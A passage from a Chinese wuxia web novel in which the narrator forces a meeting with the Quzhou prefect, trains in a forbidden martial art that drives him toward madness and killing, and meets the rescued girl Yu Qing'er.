余十三说:“你们让开,或者......” 我没等他说完,就将他拦了下来。因为,我想要的效果已经达到了。我并非真的相让余十三大闹知府衙门,因为那样知府衙门一定不会放过我们,即便是那些差役不能将我们怎么样,但被一群官府的人没白没黑地搜寻骚扰,也会令我们在衢州城待得十分艰难。 我总结,当你要找一个你并不熟悉的人办事时,总要事先给他一个下马威,这样会起到事半功倍的效果。 余十三就是那个下马威。 应当适可而止了。我向高站在衙门口石阶上的领头壮汉喊道:“江湖事物协理司主事姬旦丙,求见衢州知府大人。快去通报一声。” 领头的壮汉上下打量我一边,一挥手,喊道:“拿下!” 拿下? 我没听错吧! 正在我疑惑的时候,几个人手拿绳索和捎棍向我冲了过来。 这时候我才意识到,赵构封给我的这个头衔,并不好用。真是好用的,还是余十三的拳头和匕首。 余十三两三拳将冲过来的人打翻在地,一个健步冲上石阶,匕首抵住领头壮汉的脖颈,喊道:“都给住手,不然我杀了他。” 领头壮汉意外地从容,他一副生死不惧的表情,冷冷地说:“杀了我,你们休想离开。” 余十三说:“我们本来就没打算离开。” 我叹了口气,走到那壮汉跟前说:“我只是想见你们知府。你为何不给我通报?” 领头壮汉说:“知府大人岂是你们这等平民百姓说见就能见的?” 我说,我不是平民百姓。领头壮汉将头扭到一边,明显是不肯相信。 正僵持着,锦衣玉袍,身材矮胖的人,在两人的搀扶下快步走了过来。 “快快住手!” 矮胖的人,说:“犬子鲁莽,不知两位好汉有何事见我?” 我说:“我要见衢州知府。” 矮胖的人说:“在下便是。” 我上下打量一番,只见他身材与司徒清尘十分相似,但脸庞臃肿,满脸油光,身体孱弱,连走路都需要人搀扶,这一点比起武功高强的司徒清尘差得远了。 我说:“我是江湖事物协理司主事。” 矮胖的人一头雾水,满脸发懵:“恕在下愚钝,不知好汉所说的这个江湖事物协理司是何机构?” 我说:“是朝廷新成立的,无品。” “五品?”矮胖的人笑道,“既然是同朝为官,那边好说话了。我乃朝廷亲命衢州知府,从二品。” 他深出两个手指头,在我眼前晃了晃,却被余十三一把抓住,“咔”的一声,掰断了一根。 矮胖的人疼得哇哇直叫,被他称作“犬子”的领头汉子慌忙将他扶住,将他手指检查一番,登时大怒,骂道:“大胆!竟然敢伤我父亲!”说罢,抽刀砍来。 余十三不慌不忙,一个转身从我的腰间拔出了青光剑。剑光一闪,锐不可当,将领头汉子手中的刀砍作两截。 领头汉子惊骇之余,从其他差役腰间抽出两柄刀,左右各持。大喊一声“纳命来”,双刀轮转砍向余十三。 余十三先是后撤,而后突然袭击,一招幻影回击,先断领头汉子手中的刀刃,而后以剑横扫他小腹。 领头汉子的衣服上裂开一道口子,但并未伤及皮肤,可见余十三下手留了余地,并未妄动杀念。 矮胖知府或许是发现了自己儿子并不是余十三的对手,慌忙忍痛叫人将他拦下,对我说道:“好汉,在下有眼无珠,不知真英雄驾到。有何吩咐,还是入内详说。” 我拦下余十三,对矮胖知府说:“我想让你帮我查一个人。” 矮胖知府问:“什么人?” 我说:“我想知道,衢州城里有没有姓武的人家。” “姓武?”矮胖知府陷入思索,他摇了摇脑袋,说,“衢州人丁众多,一时半刻很难想起。”他伸手招呼下人,说:“来人,快名人去取户籍簿来好好查查。” “是。”一个差役领命离去。 矮胖知府笑着,对我说:“大侠还请入内休息片刻,等有了结果,我立马告知。” 我说:“好。”便带着余十三大步踏进衢州知府衙门。 入厅堂,知府令下人为我和余十三斟茶倒水,又端了一些鲜果,照顾得十分周到。他满脸堆笑,对我十分客气:“这位大人,恕在下耳目闭塞,却不知贵司是何时成立,官署何在,领何衔职,主司何事啊?” 我一句也没听懂,只好对他笑了笑,然后低头喝茶。 气氛变得很尴尬。矮胖知府满脸期待着我的解答,但我却不明白他的问题到底是什么。就这么尴尬了一会儿,我慌忙转移话题,问:“你......高姓大名?” 矮胖知府一愣,慌忙笑道:“下官姓周名博,草字知甚。” 周知甚? “好名字。”我称赞道。 “过奖,过奖。”周知甚客气地回应。 气氛再次陷入尴尬,我感觉每一刻的等待都过得尤为漫长。不知是过了多久,总之我进门只是还是残阳如血,一片昏黄,现在却是暮色四合,漆黑一片。 “启禀大人。”一个差役匆匆跑进厅堂,说,“小的遍差籍册,衢州城并无一人姓武!” 没有! 我惊地站了起来...... 第二百零七章 练功 ()1. 武炼的死虽然是应有之报,这件事我并不觉得有任何的惋惜。 但是,武炼临死之前的那句话是对的。要打败摩诃钵特摩咒,唯一的办法便是修炼摩诃钵特摩咒。 以暴制暴,虽然算不得正义的方式。但是,当穷尽了所有正义的手段,仍旧不能打败邪恶的时候,或许邪恶就是战胜邪恶的唯一方法。 中秋刚过。藏龙涧里已是落英缤纷,景色甚美。 只是,我已无心在去欣赏那些美景。几经思索之后,这日的清晨,我从石床上跃起,第一次翻开了摩诃钵特摩咒的扉页。 四年多以来,虽然这本秘籍一直被我保管。但我始终将它最为夏尔马的遗物保存,只当是一件思念旧友的物件,从来没有想过有一天,我会打开摩诃钵特摩咒,修炼上面的武功。 但现在,我终究还是打开了它。 摩诃钵特摩咒的第一页便是一张绘制精美而详尽的经络图。其中用红色的细线标注了修炼摩诃钵特摩咒时,运转内力的经脉走向。 看了一遍,我不禁觉得骇然。 人体有阴阳二气,阴阳调和,则人体康健。寻常的内功,也大都是调和阴阳,充盈内息的法门。但这套武功,却完背道而驰,且不说那种卸阳走阴的呼吸之法,但是那种经脉倒转的运功方式,就让人不禁觉得头皮发麻。 难怪修炼的人会疯掉。经脉倒转,倒行逆施,想想便知道,那是一种怎么样痛苦的修炼过程。 余十三醒过来的时候,看见我正在对着摩诃钵特摩咒发呆。他拍了拍我肩膀,说:“你在看什么?不会是想要练这上面的武功吧?” 我并不想隐瞒余十三,我说:“是,或许这是打败陈伯洋的唯一方法。” 余十三说:“值得吗?” 值得吗? 如今我还有去衡量值与不值的余地吗?陈伯洋入魔已深,他不禁把持着纾瑶的下落,而且对人世间的危害也是日趋严重。 这一切都是我的错。 若是必须以牺牲自己为代价才能弥补,若是说一开始我还不能下定决心,那么这个时候,我已经没有顾虑或者选择了。 我问余十三:“你是不是说还欠我一份恩情未还?” 余十三摇了摇头,说:“没有了。” 我心中一凉,说:“你曾经说得那般好,莫非到了关键的时候想要赖账不成?” 余十三撩起自己空空的袖管,说:“你的恩情,我已经还清了。我不欠你了。” 我说:“可是我帮你找到了青儿。” 余十三点了点头,说:“对。正因为这样,所以我才不能去死。” 我说:“我并没有要你去死。” 余十三沉吟了片刻,说:“除了这条命,我什么都可以给你。我要留着这条命去保护青儿。” 他这样说,我便更加安心了。我说:“我要你答应我一件事。” 余十三问:“什么事?” 我说:“帮我找到我女儿。” 余十三一怔,问:“你呢?你为何不自己去找?” 我伸手抚摸着摩诃钵特摩咒那暗黄的纸张,就像是一张经年累月劳作而便糙的老皮。我说:“我怕我自己会疯掉,会变得向陈伯洋一样。” 十三说:“你真的决定了?” 决定了! 绝不反悔。 2. 绍兴二十年九月,我开始修炼摩诃钵特摩咒。 在这之前,我将身负的两柄剑交给了余十三。 青光血芒,一世剑狂。 这两柄剑,只怕要从此与我永别了。我对余十三说:“如果有一天,你发现我已经不能控制我自己了,那即便用血芒剑杀了我。” 余十三说:“只怕那个时候我更加不是你的对手了。” 我说:“但愿我可以保持一丝清醒,在我彻底发狂之前打败陈伯洋,那样,我便可以自己了却自己的生命了。” 我抱着必死的决心,开始修炼已经让整个江湖深恶痛绝的摩诃钵特摩咒。 经脉逆转,如万千蝼蚁蚀骨之痛。 卸阳修阴,如坠入万丈玄冰的深渊一样,冷得让人无法忍受。 夏尔马曾经告诉我,摩诃钵特摩在梵语中,乃是八寒地狱的意思。因此,修炼之人如坠入极寒地狱,忍受其中的千般痛苦之后,仍旧能够存活下来的人必然会获得超乎常人的力量。 只是......从地狱里爬上来的,到底是人还是恶鬼,有谁能够说得清楚。 但有一件事,却十分奇怪。 修炼摩诃钵特摩咒之初,我以逆转经脉的修炼方法将身阳气于曲池穴尽数卸除体外,我也的确领略了八寒地狱的残忍和痛苦。 那种痛苦真的让人无法忍受,我只感觉自己就在发疯的边缘徘徊着,只要松一口气,自己立刻就会失去控制。 而我始终咬牙坚持着。我一直在想着,纾瑶,纾瑶,纾瑶......为了纾瑶,为了弥补一个父亲对女儿的歉疚,别说是八寒地狱,就算是比这痛苦十倍百倍,我也一定要咬牙坚持下来。 十六日,摩诃钵特摩咒突破第六境。 随着练功的愈加深入,我竟然觉得自己的身体不再那么冷。而痛苦也相应减少了许多,一种莫名其妙的微暖之气正从我丹田处悄然生出。 起初,我很惊恐。 因为,我费了很大的力气,才将体内的阳气从身体内卸除。而这股莫名升起的微暖之气,若真的在我体内越来越强劲,那么我之前所承受的所有痛苦岂不白白承受了? 这是不是意味着,我修炼摩诃钵特摩咒失败了? 但是,我很快便排除了这种可能。 因为,这股微暖之气始终在丹田之中,随着练功的深入越来越灼热,但却没有扩张的意思。摩诃钵特摩咒的功法本来便是要经脉逆转。别的内功修炼要气沉丹田凝聚内力,但摩诃钵特摩咒却偏偏要气游丹田而不留。 这股灼热的气息,将阴寒之气化解了许多。但却将一股更加充盈有力的温暖气息输遍我身。 我越练越觉得兴奋,这股强大的力量让我痴迷,让我疯狂,让我感觉这世间可怕的事情都不再可怕,让我觉得自己已经逐渐拥有了可以操控一切的能力。 陈伯洋,我已经可以战胜你了。 二十一天后,我从山洞里走了出来。 看着一个崭新的世界,我深深的吸了一口气,感受着崭新的自己。 我运转内力,将一股强大的力量凝聚于掌心,瞬息发出。凝气可成风,风可摧毁一 切。眼前的树木、溪流,还有坚硬的岩石,都在我一掌之下粉身碎骨。 这力量......实在太强大了。 我敞怀大笑,我才是这世间最强大的人。从此之后,更加没有人敢去质疑我的力量。 “天下如我囊中,至尊舍我其谁。” 我想起了台州城里,陈伯洋疯狂的喊叫。这句话,对于陈伯洋来说已经不合适了。 我肆虐地笑着,肆意发泄着心里不可抑制的兴奋,一掌两掌三掌......藏龙涧已是狼藉一片,但我仍然不愿停下来。 突然,正在我极度兴奋的时候,感觉屁股上一阵灼热的疼痛。 我回头一看,却见余十三手拿着血芒剑,狠狠地刺了我一下。我怒不可遏,转身摁住他拿剑的手,吼道:“你为何要刺我?” 余十三说:“你疯了。” 我疯了? 胡说八道。我没有疯,我感觉此刻的我才是最清醒的。我感觉我的力量已经足以让我清晰地认识这世间的一切。 我一掌将余十三推开。他的手,竟然化成寒冰。 余十三面带痛苦,但他依旧拿着剑对我说:“快醒醒,你不是说你要打败陈伯洋吗?” 我当然记得,我修炼摩诃钵特摩咒的目的就是打败陈伯洋。 但是,我没有疯。 我感觉自己才是真的练成了摩诃钵特摩咒。而陈伯洋,一定是练错了方法,所以他才会忍受极寒内息的痛苦。 而我的内息是温热的。我与他完不同。 我对余十三说:“你不要妨碍我。你刺我的这一剑,我日后再找你算账,现在我要去找陈伯洋那老贼算账。” 刚一转身,红影在我余光之中闪烁了一下。 血芒! 不可一世的血芒剑,怎么可以落入余十三的手中? 它虽然是一把邪剑,但我却要用它去战胜邪恶。 我身子一晃,在余十三完没有反应的瞬间夺下了他手中的剑。血芒剑似乎很兴奋,它身上的猩红色光芒像鲜血一样流淌着。 走吧,血芒。 我带你去做一件震撼江湖的事情。从此,你的名字将与我一同载入史册。 什么剑狂,他不能带给你的,我来! 我带着血芒剑,疾步奔跑者。我感觉自己快要飞起来了。一连奔跑了十几里,都不觉得疲惫,总感觉自己身上有使不尽的力气,总感觉这股力气无处发泄。 也便是在这种感觉的趋势下,我做了一件令我一生懊悔不已的措施。 出藏龙涧后。很巧的是,我遇见了十几个括苍派的弟子。 其实,他们已经不是括苍派的弟子了。 因为,在陈伯洋练功发疯之后,括苍派的弟子已经四处逃散了。但我之所以认为他们是括苍派的弟子,是因为一伙儿十几个人仍旧拿着括苍派独门铸造的长刀,依旧穿着括苍派统一的衣服。 我问他们,陈伯洋在哪里? 他们看我的眼神充满了恐惧。那种眼神让我厌恶,让我无法接受。 总之他们是括苍派的弟子,他们与陈伯洋一样,都是我仇人。 所以......我身体内总是用不完的那股力量注入了血芒剑,一挥剑,血肉横飞,凄惨一片。 第二百零八章 短暂 ()1. 当我终于练成了摩诃钵特摩咒,拥有了超然的力量,信心满满的想要与陈伯洋一较高下的时候。陈伯洋却像是从人间蒸发了一样,怎么也找不到他的踪迹。 为了寻找陈伯洋,我踏遍了可能的每一个地方。从括苍山到台州城,这一路上,我无论如何也找不到陈伯洋的踪迹。 在一筹莫展的时候,我在台州城遇到了一个讨饭的小乞丐。 我想到了丐帮。天下最广泛的情报,非丐帮无所能及。 于是,我决定北上,返回临安府。我想在武林盟召集丐帮弟子,让他们帮我寻找陈伯洋的下落。 途径绍兴府时,我在城外遇到了陆游。 他正悠闲地坐在一湾碧绿的湖水边钓鱼。他看到我时,很诧异。他问我怎么会出现在绍兴府? 我说,绍兴府又不是你家的宅院,我为何不能出现在这里? 陆游的表情更加诧异,他问:“你怎么了?” 我说:“我很好。” “不对。”陆游眉头紧锁,变得十分警惕,他说,“你的气息不对。你......你到底是怎么了?” 我没有理会他。 陆游伸手拦住我,但他手触到我胳膊的瞬间,仿佛受到了什么刺激一样,猛地抽了回去。 “你,你的身体......” “我身体怎么了?”我问。 陆游说:“很冷。感觉就像......你练了那武功?!”陆游满脸惊恐,他盯着我,等着我的回答。 我说:“是。但是,我和陈伯洋不同。” “有何不同?”陆游很生气,他说,“你明知道这武功会让人疯癫,你为何还要修炼?” “疯癫?”我哈哈大笑,说,“我感觉美妙无比,我感觉身充满了力量。我一定可以打败陈伯洋。” “就是为了打败他?”陆游怒道,“你打败了陈伯洋,却变成了第二个陈伯洋,那谁又来打败你?” 为何要打败我? 我非常生气。一股难以遏制的怒火直冲脑门,我横起血芒剑,吼道:“天下无人可以打败我。我也无须任何人打败!” “大哥哥!”一个青涩的声音传来,余青儿欢快地跑了过来。 看到余青儿的瞬间,我感觉有一股清凉的气息从头顶处灌下,将我心中熊熊燃烧的怒火浇灭。 余青儿。 在武炼离开藏龙涧后的第三天,我便受到了陆游的传书。 余青儿找到了。 收到传书之后,余十三喜极而泣,他不顾一切地拉着我跑到了绍兴府,一路没命地奔波,却在临近绍兴府的那一刻犹豫了。 深夜,余十三望着城门紧闭的绍兴城怔怔发呆。 我说:“别担心,我可以带你翻过城墙。” 余十三依旧呆呆地望着黑茫茫的一片黑夜,轻雾泛起,周边的一切变得更加深邃而且朦胧。他问我:“青儿在陆家过得好吗?” 我说:“陆家乃是官宦之后,书香世家,家境殷实。陆兄为人宽厚侠义,一定会将青儿照顾得很好。” 余十三嘴巴张了张,却没有发出声音,只是站在原地,怔怔地看着夜幕。 我拉了余十三一把,说:“走吧。我带你翻过去。” 余十三甩开我的手说:“等等,让我再想想。” 他受了那么多的苦,熬过了那么多期待、渴望、思念,不就是在等待着重逢的这一天吗? 我说:“你还等什么?青儿在等你呢!快走!” 余十三依旧未动,无论我怎么样拉扯,劝解,询问,他都仿佛是没有听到,没有感觉到一般。仿佛是变成了一块木头。 天色拂晓,东方露出肚白。 余十三在凄冷的夜风中怔怔的站了一夜,熬过了一个无比漫长的黑夜,终于在黎明到来的那一刻转过了身去,说:“我还是走吧。” 走?! 我无比震惊,问道:“去哪里?你不找青儿了吗?” 余十三苦笑了一声,说:“她跟着我,只是受苦。如今她在陆家,即便是只做个下人,却可衣食无忧,平安喜乐,总好过跟我风雨漂泊强上千倍万倍。” 我说:“可是青儿还在等你!” 余十三说:“那你再帮我一次好不好?” 我问:“你要我帮你什么?” 余十三说:“你告诉青儿,我失踪了。你告诉她,你会帮她找我,让她在陆家好好待着,等我的消息。” 我说:“你竟然叫我骗人?” 余十三说:“算是我欠你的。这是为了青儿好。”余十三转过身来,用一种恳求的目光看着我,我真担心我再不答应他,他便要“扑通”一声跪在地上。 我长叹了一口气,说:“好吧。虽然我不愿意骗人。” 2. 便是在那一日。 我见到了余青儿。 在与陆游的攀谈中,我得知事情的原委。到真是机缘巧合,余青儿被黑蛇帮掳走之后,不就便被拉到绍兴府,贩卖给绍兴一个颇有权势的大户。 但是,因为余青儿年纪太小,才过十岁,很多事情都不能做。大户人家觉得很不满意,他们认为把余青儿慢慢养大是一笔十分亏本的生意,于是便当场将余青儿退给了黑蛇帮。 黑蛇帮贩卖余青儿不成,白白地跋山涉水,辛苦一路,便把满腔的怒火部发泄到了余青儿身上。 绍兴府大街上,一群五大三粗的男人,对着一个弱不禁风的小姑娘不停地打骂时,途径的陆游忍无可忍,便是出手将黑蛇帮的那群人打翻在地。 黑蛇帮的人虽然打不过陆游,但他们仗着当时黑蛇帮的势力,对陆游一番威胁恐吓。偏偏陆游最不惧怕便是威胁,他三两剑出去,便在黑蛇帮几人的脖颈上都留下了一道浅浅的剑痕。 虽然只是轻轻地擦破了一点皮表,但已经让那几名黑蛇帮的人胆战心寒。因为,以陆游的身手,若是再深入半分,只怕他们便以鲜血横飞,毙命于当场了。 陆游并没有乘胜将那几人置之死地,而是收起了佩剑,给了那几人足足一百两银子,将余青儿买了下来。 依陆游后来对我的解释是,他既不想得罪黑蛇帮这样的无赖 帮派,因此给家人惹上麻烦,却也不愿意让可怜的余青儿落入歹人之手,再遭磨难。 陆游将余青儿带回了陆府。但那时候,余青儿已经吓坏了。一个年少的小姑娘,经历了如此多的折磨之后,如何还能够保持清醒。 从带回陆府之后,余青儿便整日蜷缩在角落里,但凡是有人靠近,她便会浑身发抖,嘤嘤哭泣。无论是大家如何向她表达善意,她都丝毫没有好转。 那段时间,陆游便命两个利索的女婢轮番照料余青儿。其实,在我带着余十三翻入陆府的时候,余青儿就在距离我们不远处的一间厢房之中。 虽然距离很近,但天意让这对苦命的兄妹即使近在咫尺也终不得相见。 后来,在陆游的悉心关照之下。余青儿渐渐好转,她一点点地不再惧怕周围的环境以及每日对她精心呵护照料的女婢,也渐渐地敞开了心扉。 直到数日之前,陆游从台州府返回绍兴,见余青儿恢复正常,很是欣慰,闲谈中偶然间问了一句,你叫什么名字。 余青儿说,她叫余青儿。 陆游开始只是觉得名字熟悉,想了很久,却突然惊道:“你是余十三的妹妹?!” 余青儿闻言,哇地一声哭了出来,跪在地上求陆游带她去见哥哥。 由此,陆游才费尽心思地到处打探我的消息。直到得知我去了藏龙涧,他才命人千里传书给我,告诉了我余青儿的下落。 但余十三却在绍兴城外,选择了放弃相见。 其实,放弃未必是一种错误的选择。直到很多年之后,我才觉得,余十三当日的决定,虽不能说是英明,却绝对有着超出他那个年纪的成熟。 3. 余青儿拉着我的手,却又慌忙松开了。她说:“大哥哥,你的手怎么这么冷?” 我慌忙将手藏到身后,说:“没事。大概是衣服穿得少了。” 余青儿呵呵一笑。但很快,笑容便被忧伤所代替。她问我:“我大哥还没有找到吗?” 我说:“没有。我会帮你找到的。” 余青儿嘟起嘴来,满脸地失望。她嘴里呢喃着:“大哥到底去了哪里?到底去了哪里嘛。” 陆游便站在不远处,用一种愤怒地眼神看着我,仿佛是恨不得将我碎尸万段一样。 那个眼神让我无法接受,让我愤怒,让我身的血液都要沸腾。 但余青儿在,我却不知为什么,不愿意当场发作。 就这样忍耐着,让我倍感难受。我转身离开。陆游喊住我,问:“你要去哪里?” 我转身看了一眼余青儿,说:“天下海角,去找余十三。” 余青儿一怔,随即笑得如鲜花一般灿烂,她说:“谢谢大哥哥,你的恩情,我会记一辈子的。” 不用谢。 等我杀了陈伯洋,我一定会把余十三带到你的面前。这世间已经有太多人因为各种各样的原因无法团聚,若有哪怕万分之一的可能,也不应该放弃相聚在一起的机会。 我心里这样想着,离开了陆游,离开了绍兴,离开了能带给我短暂清醒的余青儿,一路奔向疯狂。 第二百零九章 冷风 ()1. 离开陆游之后,我到了临安。 这次,我并没有像以往回到临安一样去娄琴客栈。我甚至已经将娄琴抛到了九霄云外,一心只想着尽快召集丐帮弟子。 在临安府,我随便抓了一个乞丐,揪住他的衣领问:“知道我是谁吗?” 那个乞丐竟然嘿嘿地笑了起来,一副憨像。 “你笑什么?”我勃然大怒,问,“你到底认不认得我是谁?” 那乞丐依旧傻笑不止。 那笑容让我尤为恼火,忍不住地想要在那乞丐脑门上狠狠地拍他一掌。 刚去起手来,却听见身后“哎呦”一声惊叫。我手掌停在半空,转过身去,却见一个衣着华丽的胖妇人颤着满身的赘肉跑了过来。 “我的小祖宗啊!”胖妇人一招“撞南山”的硬功夫将我撞到一边,扶住那小乞丐,叫道,“才两天功夫,你怎么把自己滚成这副模样啊!” 胖妇人满脸关切与焦急,但那乞丐却仍旧嘿嘿傻笑。 我恍然大悟。原来是个傻子。 “真是晦气。”我骂了一声,转身刚想要离开。却听见那胖妇人大喊一声:“你给老娘站住!” 我一惊,回头看着那妇人。虽说她满身肥肉,油腻不堪,但细细看长相,也算是一个相貌姣好的女子。细柳眉毛,丹凤眼儿,玲珑鼻子,樱桃嘴。只是精致的五官贴在了一张大饼一样的脸上,让人不禁觉得惋惜。 “你叹什么气!”胖妇人见我叹息,竟然瞪着眼睛冲我吼了起来,“方才你说晦气,到底是何意思,不给老娘说清楚了,休想离开。” “离开又怎么样?”我冷哼一声,“难道你还能拦住我不成?” “我,我拦不住你?!”胖妇人呼呼喘着粗气,一张脸涨得通红。她两腿分开,在地上狠狠地踩了一脚,大叫一声“看肩膀”! 我很诧异。她肩膀被一件锦蓝色的绸缎衣裳过得严严实实,连半寸肌肤都不曾漏在外面,到底有什么好看的。 正疑惑分神的时候,那胖妇人却如同一头狂奔的野牛一般直接向我冲了过来,一只壮硕的肩膀直接顶到了我肋下的气门处。 “啊!” 我痛不欲生,对着那胖妇人反手就是一掌。 这一掌虽未用尽力,但却也使出了七分力气。若是平常人,只怕吃不住我的掌力,立时五内碎裂而死。即便是内力深厚的高手,吃了这样的一掌,只怕也是受伤不轻。 但这胖妇人受我一掌之后,竟然像是毫发无损一样。只是大饼一样的脸上徒增了一个殷红的巴掌印。 “你竟然敢打老娘的脸!”胖妇人骂道,随即瞪气眼睛,仿佛是有两只火球在其中熊熊燃烧一般。 胖妇人大喊一声:“看老娘无影连环掌!” 我大惊,心想莫非是碰到了什么不曾现世的武林高手,立时运足内力凝神戒备。却见那胖妇人如同是发狂的狗熊一样,长着大嘴嗷嗷叫着,两双手如熊掌一般对着我一通乱抓乱闹。 对于这样的招式.......我很难拆解。对她连出两掌,打在她胸口却如同打在棉花上一般,不禁会将我掌力尽数泄去, 隐隐间还会将一部分力量反弹回来,让我不敢再发一掌。 当真是邪门得很。这世间竟然有如此无名高手,竟然是在我练成了摩诃钵特摩咒之后依旧不是她的对手。 这样的高手让我兴奋。 我向后一跃,脸上一片火辣辣的疼,伸手一摸,却是满手血沫。 这胖妇人竟然将我的脸抓花了! 我怒气更盛,握住剑柄,顺势将血芒剑拔了出来。 那妇人眼中有红影一闪而过,登时脸色大变,叫道:“血芒剑!” 我问:“你认得此剑?” 这时,那满脸憨像的乞丐竟也严肃了起来,他站在胖妇人身边,附在她耳边小声嘀咕了几句,然后对我说:“这位兄弟,这里人多眼杂,可否借一步说话?” 我迈出一步,说:“你说吧!” 那乞丐眼角一抽,叫道:“跟我来!”说罢,身体一纵,若一道魅影般飘向城外。那胖妇人冲我一瞪眼,说:“看看你追得上我吗?”说罢,也是一纵身,追随着那乞丐飘忽而去。 我怔怔地看着一胖一瘦、一男一女的两个人飞快地在我眼前消失,不禁冷笑道:“有病!老子不才没功夫和你们赛跑!” 虽然,我对那两个人的身份充满了好奇,但我却有更加重要的事情要做。那便是召集丐帮弟子,寻找陈伯洋的下落。 我转身去了另外一个方向——武林盟。 武林盟已经不再是武林盟。本来说好了,它依旧还是那个名字。但当我回到武林盟的时候,却发现高挂在门上的那个牌匾换了名字。 碧柳山庄。 不管它叫什么名字,总之我回到了这里,这里就还是曾经的武林盟。 我开门,却见一个身形佝偻的老者挡住了我。 “什么人敢擅闯碧绿山庄?!” 佝偻老者一抬头,与我一个对眼,登时脸色铁青。因为,他认出了我,他有愧于我。因为,他是老乌。 “是你?!”我盯着老乌,恨不得一剑杀了他。 老乌战战兢兢地向我行礼:“大人安好。” 我压制不住愤怒,在他胸口处拍了一掌。这一掌下去,老乌遍身霜白,轰然倒地,浑身僵硬。 冰尸! 我心中骇然,浑身寒毛耸立。 怎么会这样?我明明感觉自己丹田似火,内息温热,发出掌心怎么会将人打成冰尸?! “你做了什么?!”十米之外,柳无风冷冷地看着我,“你竟然杀了老乌!” 我定了定神,说:“他当年背叛我,他本就该死。” 柳无风满脸愤怒,他说:“他没有背叛你,是你背叛了皇上。” 我不想在与柳无风争辩,毕竟老乌已经是个死人了。我说:“是谁换了我武林盟的牌匾?!” “是我。”柳无风答。 我问:“为何要换我的牌匾?” 柳无风说:“掩人耳目。” 可笑。这天下已无人是我敌手,从今之后,又有何耳目可掩盖?! 我阔步走进院子,路过柳无风时,短暂顿足,对他说: “替我去抓个乞丐来。” 柳无风问:“抓乞丐做什么?” 我心中一阵烦躁,吼道:“叫你去便去,不要啰里啰嗦!” “你!”柳无风应当是很生气,他应当从来没有听过我这样对他讲话。但那个时候,我便是狂妄得连我自己都控制不住自己。 我阔步向武林盟厅堂里走着,听见身后传来柳无风惊诧的声音:“冰尸!你竟然也......” 2. 我独自一人坐在武林盟厅堂里。这里的一切都很熟悉,只是我突然觉得自己已经十分地陌生。 我凝视自己的手掌,那具老乌变成的冰尸在我眼前挥之不去。 难道......身体里温热的气息都是假象?难道我真的已经变成了另外一个陈伯洋? 不! 我还很清醒。我想起陈伯洋在台州城那样疯疯癫癫的模样,心想自己毕竟是与他不同的。只是这个时候,我开始怀疑自己真的已经练成了摩诃钵特摩咒吗? 而我与陈伯洋,究竟谁又会打败谁呢? 两个时辰后,柳无风将一个乞丐扔在了我的面前。 那乞丐“哎呦”一声,叫道:“大人慢些,把我的屁股都要摔成四瓣了。” “帮主?!”乞丐揉着屁股,一抬头便认出了我,立刻惊喜地跳了起来,“帮主,帮主,你快救救我,这位大人他要打死我。” 这乞丐与我十分熟悉,因为他不是别人,他正是帮我聚集丐帮弟子于天目山的明少忠。 “休要胡说。”柳无风斥道,“是你们帮主叫我把你抓来的。” “帮主要抓我?”明少忠狐疑地看着柳无风,随即笃定地说,“少来蒙我,帮主要见我自然是传我便是,怎会让你这个外人把我抓来!是不是,帮主?” 我并没有回答明少忠。因为他的问题对我来说,毫无意义。我说:“重新召集丐帮弟子,叫他们三日后统统都来这里聚会。” 明少忠吃了一惊,问道:“来这里做什么?” 我说:“不要问,叫他们来便是了。” 明少忠似乎还有事要问,但嘴巴张了张,终究是没有开口。他缓缓退出了屋子,临出门前他抬头看了我一眼。 我俩目光相接,明少忠慌乱躲闪,转身逃也似的离开了。 “为什么要这样做?”柳无风冷冷地问。 我说:“你指的是什么?” 柳无风侧转身子,目视前往,脸上没有表情。他说:“当然是你身上的武功。” 我说:“我的武功,很厉害。” 柳无风手起掌落,身旁桌子登时粉碎。他吼道:“你为何要这么做?!” 我了解柳无风的性格,他视钱财极重,从来不舍得毁坏财物。如今他一掌拍烂了一只十分珍贵的檀木桌子,可见已是愤怒到了极点。 我说:“我要打败陈伯洋。” 柳无风冷笑,问:“打败了又如何?死了一个魔头,世间又多了另外一个魔头。” 我强忍着怒过,对着柳无风一字一字地说:“我和陈伯洋不一样!再敢乱说,我就杀了你!” 第二百一十章 狼道 ()1 江山如画。 可是这个江山的画卷对于赵构来说并不太美丽。其中波谲云诡,暗流涌动,赵构一直身陷于庙堂之上的权争。 他很孤独。因为他放眼整个朝廷,从上至下到处都是秦桧的党徒。但朝廷上的人并不可怕,因为他们多是一群手无缚鸡之力的文臣,最多在极致的时候,一群人联合起来说些之乎者也的话,扰得赵构不胜烦恼。 但这种烦恼却是可以控制的。他只要牢牢把握住军权,那便没有什么可以担忧的。 掌控军权很容易。因为,当年太祖一脉在朝廷之中崛起,名将辈出,这些人虽不依附于赵构,但却也不会与秦桧同流合污。 关起门来,他们都姓赵,毕竟还是一家人。 但江湖不同。自古江湖居庙堂之外而远之,很难控制。如今秦桧自觉老迈,担心自己死后,他秦氏满门将会遭受灭顶之灾,因而加大了对江湖势力的拉拢。 绍兴二十年七月。秦桧上书,为其子秦熺求官,想要推秦熺为户部尚书。这是很重要的一步,若是成了,那么在秦桧死后,秦熺便有了继任宰相的资本。 但是,赵构拒绝了。 这或许是他这些年一来第一次拒绝秦桧的请求。这次拒绝让已身患重病的秦桧更加惶恐。他应当是已经隐约感觉到了,赵构的心里已经悄然起了变化。总有一天,他会被反攻倒算。 所以,秦桧加强对江湖势力的拉拢。 绍兴二十年八月,据传,秦桧命汤思退携黄金三万两游说个大门派。不管门派大小,入门便要送些金子,美其名曰招安,实则是要将许多门派收归己用。 赵构非常紧张。 在他心中,他一直不相信这个江湖。就像他曾经不肯相信于他有救命之恩的白景行一样。所以,在很早之前,他便在这个早已貌合神离的江湖中打进了一个楔子,只等着在将来的某一个时刻,以这楔子为起点,在江湖上搅动风云,将那些在朝堂之外不受控制的力量彻底消灭。 而我,就是那个楔子。 那时候的我当然不会意识到这一点。虽然,我对赵构的安排一直感到十分迷惑。也不明白他到底看中了我什么,为何要一直死死地揪着我不肯放手。 回到武林盟的第二天,柳无风从皇城内仓促赶来。 他来得很急,冲进门时,我正在凝神练气,正是关键时候,逆转的筋脉正在游走一股强大的内息。柳无风丝毫没有防备,伸手要拉我起来。他手触到我的瞬间,一股内力如是反射一般地从身上涌出,将柳无风弹飞出数丈之外。 “岂有此理!”柳无风忍痛站了起来,一只手扶在腰上,却又向我走了过来。 我并没有理会他,因为我练功正在关键时候,决不能因为柳无风而中断。柳无风没敢再靠近我,他便站在厅堂门口,满脸怒气地瞪着我“快停下。有要紧的事要告诉你。” 没有什么比我练功更要紧的事。 我缓缓闭上了眼睛,让自己精神更加集中。 柳无风呼 呼喘着粗气,如同是耕田回来的老牛一般。他不停地冲我吼着,说着一些诸如“岂有此理”、“胆大妄为”之类的话。 